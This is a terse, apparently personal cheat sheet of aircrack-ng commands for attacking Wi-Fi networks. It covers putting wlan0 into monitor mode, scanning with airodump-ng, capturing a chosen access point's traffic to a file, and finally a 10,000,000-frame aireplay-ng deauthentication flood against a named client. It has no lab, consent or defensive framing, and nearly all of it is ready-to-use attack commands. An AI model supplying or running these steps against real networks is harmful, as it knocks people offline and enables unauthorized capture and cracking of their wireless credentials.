Switch user to root and type iwconfig
Observe the mode which will be in managed
ifconfig wlan0 down
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
Now type iwconfig and see the mode to have changed to monitor
airodump-ng wlan0 # Default 2.4 GHz Channel
airodump-ng --band abg wlan0 # List All Channels
airodump-ng --bssid <bssid> --channel <channel_num> --write <filename> wlan0
Ensure the airodump-ng command is running in a parallel terminal for this to work effectively
aireplay-ng --deauth 10000000 -a <router-bssid> -c <station-bssid> wlan0